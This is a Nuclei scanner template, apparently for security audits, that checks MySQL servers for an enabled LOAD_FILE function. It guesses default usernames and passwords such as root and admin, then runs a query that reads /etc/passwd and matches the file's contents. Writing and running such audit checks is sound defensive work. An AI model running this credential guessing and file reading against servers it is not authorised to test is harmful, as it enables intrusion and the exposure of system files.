61 lines
1.7 KiB
YAML
61 lines
1.7 KiB
YAML
id: mysql-load-file
|
|
info:
|
|
name: MySQL LOAD_FILE - Enable
|
|
author: pussycat0x
|
|
severity: high
|
|
description: |
|
|
The LOAD_FILE function in MySQL is potentially dangerous if not used carefully, as it can pose security risks. The function is designed to read the contents of a file on the server and return the file contents as a string. However, it can be exploited if not properly restricted or sanitized, leading to security vulnerabilities.
|
|
reference:
|
|
- https://nmap.org/nsedoc/scripts/mysql-databases.html
|
|
metadata:
|
|
verified: true
|
|
max-request: 16
|
|
shodan-query: "port:3306"
|
|
tags: js,mysql,network,audit
|
|
|
|
javascript:
|
|
- pre-condition: |
|
|
isPortOpen(Host,Port);
|
|
code: |
|
|
let m = require('nuclei/mysql');
|
|
let c = m.MySQLClient();
|
|
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
|
|
Export(response);
|
|
|
|
args:
|
|
Host: "{{Host}}"
|
|
Port: "3306"
|
|
Query: SELECT LOAD_FILE('/etc/passwd')
|
|
User: "{{usernames}}"
|
|
Pass: "{{passwords}}"
|
|
|
|
payloads:
|
|
usernames:
|
|
- root
|
|
- admin
|
|
- mysql
|
|
- test
|
|
passwords:
|
|
- root
|
|
- admin
|
|
- mysql
|
|
- test
|
|
attack: clusterbomb
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- success == true
|
|
|
|
- type: word
|
|
words:
|
|
- "root:x:"
|
|
|
|
extractors:
|
|
- type: json
|
|
part: response
|
|
json:
|
|
- .Rows[]
|
|
# digest: 4b0a00483046022100abcc3dba9d8ad8d8b9814f9a26fa4c4a2e3092998c466b6b92f7f9899a738e40022100f9ac346fa40811738f00b7966e7a747efb702ef048072946b4b037fae8d9633b:922c64590222798bb761d5b6d8e72950 |